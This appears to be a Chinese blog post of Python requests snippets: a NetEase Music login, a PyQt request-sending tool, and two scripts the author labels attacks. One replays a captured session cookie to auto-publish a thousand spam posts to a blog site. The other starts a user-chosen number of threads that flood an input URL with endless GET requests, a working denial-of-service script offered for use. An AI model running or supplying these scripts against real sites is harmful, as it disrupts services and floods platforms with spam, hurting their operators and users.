Python requests模拟登录

 #!/usr/bin/env python
# encoding: UTF-8
import json
import requests # 跟urllib,urllib2类似,
import hashlib default_timeout = 10 class NetEase:
def __init__(self):
self.header = {
'Accept': '*/*',
'Accept-Encoding': 'gzip,deflate,sdch',
'Accept-Language': 'zh-CN,zh;q=0.8,gl;q=0.6,zh-TW;q=0.4',
'Connection': 'keep-alive',
'Content-Type': 'application/x-www-form-urlencoded',
'Host': 'music.163.com',
'Referer': 'http://music.163.com/search/',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36'
}
self.cookies = {
'appver': '1.5.2'
} def httpRequest(self, method, action, query=None, urlencoded=None, callback=None, timeout=None):
if (method == 'GET'):
## url = action if (query == None) else (action + '?' + query)
connection = requests.get(action, headers=self.header, timeout=default_timeout, params=query) elif (method == 'POST'):
connection = requests.post(
action,
data=query,
headers=self.header,
timeout=default_timeout
) connection.encoding = "UTF-8"
connection = json.loads(connection.text)
return connection # 登录
def login(self, username, password):
action = 'http://music.163.com/api/login/'
data = {
'username': username,
'password': hashlib.md5(password).hexdigest(),
'rememberLogin': 'true'
}
try:
return self.httpRequest('POST', action, data)
except Exception, e:
return {'code': 501} Login = NetEase()
data = Login.login('User','UserPassWord')
if data['code']==200:
print('登录成功, UserId:'+str(data['account']['id']))
else:
print('登录错误,错误Code:'+str(data['code']))

结果:

登录成功, UserId:18772773

登录错误,错误Code:502


Pyqt 模拟提交Post Get 数据

代码:

 #!/usr/bin/python
# -*-coding:utf-8-*-
from PyQt4.QtGui import *
from PyQt4.QtCore import *
import requests, sys reload(sys)
sys.setdefaultencoding("utf-8") # 主入口文件
class MainWidget(QDialog):
def __init__(self, parent=None):
super(MainWidget, self).__init__(parent)
self.setMinimumSize(100, 100)
self.setWindowFlags(Qt.CustomizeWindowHint | Qt.WindowCloseButtonHint)
self.setWindowOpacity(0.7) # URL
self.urllabel = QLabel(u'提交URL:')
self.url = QLineEdit(u'')
self.methodtype = QComboBox()
self.methodtype.addItem('POST')
self.methodtype.addItem('GET')
self.UrlLoayout = QHBoxLayout()
self.UrlLoayout.addWidget(self.urllabel)
self.UrlLoayout.addWidget(self.url)
self.UrlLoayout.addSpacing(20) # 添加一个20px的空间距离 且不带弹性
self.UrlLoayout.addWidget(self.methodtype) # 添加头部group
self.headDict = {}
self.headPostArrayKey = 0
self.HeadGroupBox = QGroupBox(u'头部数据')
self.HeadGroupBox.setMinimumHeight(200) # 高度最小值 self.HeadAddParam = QPushButton(u'+')
self.headDict[str(self.headPostArrayKey) + '_key'] = QLineEdit()
self.headDict[str(self.headPostArrayKey) + '_value'] = QLineEdit()
self.HeadGroupBoxLayout = QGridLayout()
self.HeadGroupBoxLayout.addWidget(self.HeadAddParam, 0, 0)
self.HeadGroupBoxLayout.addWidget(QLabel(u'Key:'), 1, 0)
self.HeadGroupBoxLayout.addWidget(self.headDict[str(self.headPostArrayKey) + '_key'], 1, 1)
self.HeadGroupBoxLayout.addWidget(QLabel(u'Value:'), 1, 2)
self.HeadGroupBoxLayout.addWidget(self.headDict[str(self.headPostArrayKey) + '_value'], 1, 3)
self.HeadGroupBox.setLayout(self.HeadGroupBoxLayout)
self.HeadAddParam.clicked.connect(self.addHeadParam) # 添加Body group
self.bodyDict = {}
self.bodyPostArrayKey = 0
self.BodyGroupBox = QGroupBox(u'正文数据')
self.BodyGroupBox.setMinimumHeight(200)
self.BodyAddParam = QPushButton(u'+')
self.bodyDict[str(self.bodyPostArrayKey) + '_key'] = QLineEdit(u'')
self.bodyDict[str(self.bodyPostArrayKey) + '_value'] = QLineEdit(u'')
self.BodyGroupBoxLayout = QGridLayout()
self.BodyGroupBoxLayout.addWidget(self.BodyAddParam, 0, 0)
self.BodyGroupBoxLayout.addWidget(QLabel(u'Key:'), 1, 0)
self.BodyGroupBoxLayout.addWidget(self.bodyDict[str(self.bodyPostArrayKey) + '_key'], 1, 1)
self.BodyGroupBoxLayout.addWidget(QLabel(u'Value:'), 1, 2)
self.BodyGroupBoxLayout.addWidget(self.bodyDict[str(self.bodyPostArrayKey) + '_value'], 1, 3)
self.BodyGroupBox.setLayout(self.BodyGroupBoxLayout)
self.BodyAddParam.clicked.connect(self.addBodyParam) # 提交按钮
self.btnPost = QPushButton(u'提交')
self.postbtnLoayout = QHBoxLayout()
self.postbtnLoayout.addStretch()
self.postbtnLoayout.addWidget(self.btnPost) # Main布局
main_layout = QVBoxLayout()
main_layout.addLayout(self.UrlLoayout)
main_layout.addWidget(self.HeadGroupBox)
main_layout.addWidget(self.BodyGroupBox) # addWidget 添加的是Qobject
main_layout.addLayout(self.postbtnLoayout) # addLayout 添加的是 Layout main_layout.setSpacing(0)
self.setLayout(main_layout)
self.connect(self.btnPost, SIGNAL('clicked()'), self.postData) # 发送数据
def postData(self):
self.headdictdata = {}
self.bodydictdata = {}
LOOPpar1 = {'': self.headDict.items(), 2: self.bodyDict.items()}
LOOPpar2 = {'': self.headdictdata, 2: self.bodydictdata}
for Looptype in LOOPpar1:
for k, v in LOOPpar1[Looptype]:
temp = k.split('_')
if temp[1] == 'key':
if LOOPpar2[Looptype].has_key(temp[0]):
LOOPpar2[Looptype][temp[0]]['key'] = str(v.text())
else:
LOOPpar2[Looptype][temp[0]] = {'key': str(v.text())} elif temp[1] == 'value':
if LOOPpar2[Looptype].has_key(temp[0]):
LOOPpar2[Looptype][temp[0]]['value'] = str(v.text())
else:
LOOPpar2[Looptype][temp[0]] = {'value': str(v.text())} url = self.url.text()
method = self.methodtype.currentText()
if not url:
QMessageBox.warning(self, u'notice', 'URL must fill in', QMessageBox.Yes)
self.url.cursor()
return False
self.Theading = TheadingPost({'url': str(url), 'method': str(method), 'headdictdata': self.headdictdata,
'bodydictdata': self.bodydictdata})
self.connect(self.Theading, SIGNAL("updateresult"), self.updateResult) # 创建一个信号,在线程状态结果时发射触发
self.Theading.start() # 线程开始 def updateResult(self, resdata):
if resdata['status'] == 1:
QMessageBox.about(self, u"返回数据", str(resdata['msg']))
else:
QMessageBox.warning(self, u'错误提示!', str(resdata['msg']), QMessageBox.Yes) # 添加头部Data
def addHeadParam(self):
sts = str(self.headPostArrayKey + 1)
self.headDict[sts + '_key'] = QLineEdit()
self.headDict[sts + '_value'] = QLineEdit()
self.HeadGroupBoxLayout.addWidget(QLabel(u'Key:'))
self.HeadGroupBoxLayout.addWidget(self.headDict[sts + '_key'])
self.HeadGroupBoxLayout.addWidget(QLabel(u'Value:'))
self.HeadGroupBoxLayout.addWidget(self.headDict[sts + '_value'])
self.headPostArrayKey += 1 # 添加Body Data
def addBodyParam(self):
sts = str(self.bodyPostArrayKey + 1)
self.bodyDict[sts + '_key'] = QLineEdit()
self.bodyDict[sts + '_value'] = QLineEdit() self.BodyGroupBoxLayout.addWidget(QLabel(u'Key:'))
self.BodyGroupBoxLayout.addWidget(self.bodyDict[sts + '_key'])
self.BodyGroupBoxLayout.addWidget(QLabel(u'Value:'))
self.BodyGroupBoxLayout.addWidget(self.bodyDict[sts + '_value'])
self.bodyPostArrayKey += 1 # 线程提交类
class TheadingPost(QThread):
def __init__(self, dict):
super(TheadingPost, self).__init__()
self.dict = dict def run(self):
self.action = self.dict['url']
self.headerdict = self.dict['headdictdata'].values()
self.datadict = self.dict['bodydictdata'].values()
self.header = {}
for hv in self.headerdict:
self.header[hv['key']] = hv['value']
self.data = {}
for dv in self.datadict:
self.data[dv['key']] = dv['value']
self.method = self.dict['method']
result = {}
result['status'] = 0
try:
returndata = self.httpRequest(self.method, self.action, self.data)
result['status'] = 1
result['msg'] = returndata
except Exception, e:
result['status'] = 2
result['msg'] = e self.emit(SIGNAL("updateresult"), result) def httpRequest(self, method, action, query=None):
default_timeout = 10
if (method == 'GET'):
print('sd')
# url = action if (query == None) else (action + '?' + query)
connection = requests.get(action, headers=self.header, timeout=default_timeout, params=query)
elif (method == 'POST'):
connection = requests.post(
action,
data=query,
headers=self.header,
timeout=default_timeout
)
connection.encoding = "UTF-8"
return connection.text if __name__ == "__main__":
app = QApplication(sys.argv)
main_widget = MainWidget()
main_widget.show()
sys.exit(app.exec_())

效果:


Requests请求攻击N次方

# -*- coding: UTF8 -*-
import json, time
import requests # 跟urllib,urllib2类似,
import hashlib
'''
通过Fiddler 获取POST 请求数据以及url 模拟攻击请求 ''' default_timeout = 10
Chinese_truth='''
<p> 惟一经&nbsp; 勤有功&nbsp; 戏无益<br />戒之哉&nbsp; 宜勉力</p>
'''
class Blog:
def __init__(self):
self.header = {
'Accept': 'text/html, application/xhtml+xml, */*',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN',
'Connection': 'keep-alive',
'Content-Length': '',
'Content-Type': 'application/x-www-form-urlencoded',
'Host': 'i.blog.com',
'DNT': '',
'Cookie': '_ga=GA1.2.1424877390.1410319541; __gads=ID=334e00c33dad0ab8:T=1410319451:S=ALNI_Mag0cSHb4q1GHVu3wgmh0s9Urb43w; _gat=1; .Cookie=991B7FBD8D86CEF8AD2B649374088AD5E26700DADDE9C66394CD2DD4F1B365813DCBE7E202970ABBB426A0495C082EAD152F827581DD10B8AF6A2A1D85A045B295266B39B7A56F5B7537282220081E5A96A779C8; SERVERID=cd834d867596395032ab14c190885cfa|1435568930|1435568862',
'Referer': 'i.blog.com/EditPosts.asp?opt=1',
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
'Pragma':'no-cache'
} def httpRequest(self, method, action, query=None, urlencoded=None, callback=None, timeout=None):
if (method == 'GET'):
url = action if (query == None) else (action + '?' + query)
connection = requests.get(url, headers=self.header, timeout=default_timeout)
elif (method == 'POST'):
connection = requests.post(
action,
data=query,
headers=self.header,
timeout=default_timeout
)
connection.encoding = "UTF-8"
connection = json.loads(connection.text)
return connection def truth(self,num):
action = 'http://i.blog.com/EditPost.asp?opt=1'
data = {
'__VIEWSTATE': '',
'__VIEWSTATEGENERATOR':'FE27D355',
'Editor$Edit$txbTitle': 'Test.'+str(num),
'Editor$Edit$EditorBody': '<p>'+Chinese_truth+'</p>',
'Editor$Edit$Advanced$txbEntryName': '',
'Editor$Edit$Advanced$txbExcerpt': '',
'Editor$Edit$Advanced$txbTag': '',
'Editor$Edit$Advanced$tbEnryPassword': '',
'Editor$Edit$lkbPost': '发布'
}
time.sleep(0.5)
try:
return self.httpRequest('POST', action, data)
except Exception, e:
return {'code': e} Classical = Blog()
for i in range(3000, 4000):
print(i)
data = Classical.truth(i)

requests 使用线程代码

# -*- coding: UTF8 -*-
import threading
import requests def attack(index, url):
cnt = 0
while True:
cnt += 1
x = requests.get(url)
print("[%d] == %d || %s\r"%(index, cnt, x.content.decode('utf-8')[0:50])) if __name__ == "__main__":
url = input("Input the URL: ")
x = int(input("Input the amount of threads: ")) pool = []
for i in range(x):
pool.append(threading.Thread(target = attack, args = (i, url))) print("Start attack....")
for i in range(x):
pool[i].start()

Python requests模拟登录的更多相关文章

  1. 【爬虫】python requests模拟登录知乎

    需求:模拟登录知乎,因为知乎首页需要登录才可以查看,所以想爬知乎上的内容首先需要登录,那么问题来了,怎么用python进行模拟登录以及会遇到哪些问题? 前期准备: 环境:ubuntu,python2. ...

  2. 用python实现模拟登录人人网

    用python实现模拟登录人人网 字数4068 阅读1762 评论19 喜欢46 我决定从头说起.懂的人可以快速略过前面理论看最后几张图. web基础知识 从OSI参考模型(从低到高:物理层,数据链路 ...

  3. 使用Python+Selenium模拟登录QQ空间

    使用Python+Selenium模拟登录QQ空间爬QQ空间之类的页面时大多需要进行登录,研究QQ登录规则的话,得分析大量Javascript的加密解密,这绝对能掉好几斤头发.而现在有了seleniu ...

  4. Python 3.3.3 使用requests模拟登录网站

    在模拟登录上,requests确实比python标准库中的相关模块更加简洁. 假设你需要去爬一组页面(targetUrls),而这些页面要登录才能进行访问.那么requests能够提供一种相当简单的语 ...

  5. 【Python】模拟登录上海西南某高校校园网 (jaccount)

    好久没写东西了,最近学习了一下模拟登录,以校园网为例,作一记录. 去年的时候写过一篇模拟登录的文章,用的是登录后的cookies,这种操作比较傻瓜,也不智能,不够自动化,本质还是手动登录. 这次我尝试 ...

  6. python爬虫模拟登录的图片验证码处理和会话维持

    目标网站:古诗文网 登录界面显示: 打开控制台工具,输入账号密码,在ALL栏目中进行抓包 数据如下: 登录请求的url和请求方式 登录所需参数 参数分析: __VIEWSTATE和__VIEWSTAT ...

  7. python实现模拟登录【转】

    原文网址:http://www.blogjava.net/hongqiang/archive/2012/08/01/384552.html 本文主要用python实现了对网站的模拟登录.通过自己构造p ...

  8. python实现模拟登录

    本文主要用python实现了对网站的模拟登录.通过自己构造post数据来用Python实现登录过程.   当你要模拟登录一个网站时,首先要搞清楚网站的登录处理细节(发了什么样的数据,给谁发等...). ...

  9. Python爬虫模拟登录带验证码网站

    问题分析: 1.爬取网站时经常会遇到需要登录的问题,这是就需要用到模拟登录的相关方法.python提供了强大的url库,想做到这个并不难.这里以登录学校教务系统为例,做一个简单的例子. 2.首先得明白 ...

随机推荐

  1. cmd命令快速修改dns

    新建cmd文件,修改红色ip部分,以 ANSI 编码保存,双击运行即可快速修改dns配置 netsh interface ip set dns "本地连接" source=stat ...

  2. ReactNative 适合初学的第一个教程demo,找租房

    1.下载工程 我看来看去,最让人容易入门的是这个demo: https://github.com/rayshen/PropertyFinder 是英国某开发者做的搜租房的小demo,包含的知识有:图片 ...

  3. iOS - 系统提醒短音频

    Demo下载地址 iPhone端系统Audio资源路径:/System/Library/Audio/UISounds 首先,通过 NSFileManager 获取资源路径下的所有路径(文件夹/文件) ...

  4. zoom在css中的作用

    zoom:1 zoom:1;属性是IE浏览器的专有属性,Firefox等其它浏览器不支持.它可以设置或检索对象的缩放比例. 兼容IE6.IE7.IE8浏览器,经常会遇到一些问题,可以使用zoom:1来 ...

  5. web前端基础知识-(二)CSS基本操作

    1. 概述 css是英文Cascading Style Sheets的缩写,称为层叠样式表,用于对页面进行美化. 存在方式有三种:元素内联.页面嵌入和外部引入,比较三种方式的优缺点. 语法:style ...

  6. SessionState

    SqlServer方式:1.创建数据库的方法:C:\Windows\Microsoft.NET\Framework\v4.0.30319>aspnet_regsql -ssadd -sstype ...

  7. 【转】 解读EOF

    解读EOF 标签: fplinuxc语言filestream 2012-01-31 22:05 439人阅读 评论(0) 收藏 举报  分类: C.C++_程序设计(20)  我学习C语言的时候,遇到 ...

  8. 【分享】SQL中的注入漏洞

    例:假设一个账户密码的输入在数据库中是这样进行判断的. ' ) AS PWDCORRECT FROM T_USER WHERE FUSER= 'GUEST' 如果输入: ') AS PWDCORREC ...

  9. r-cnn学习(八):minibatch

    这段代码包括由输入图片随机生成相应的RoIs,并生成相应的blobs,由roidb得到相应的 minibatch.其代码如下. # ---------------------------------- ...

  10. 【转】python编码的问题

    摘要: 为了在源代码中支持非ASCII字符,必须在源文件的第一行或者第二行显示地指定编码格式: # coding=utf-8 或者是: #!/usr/bin/python # -*- coding: ...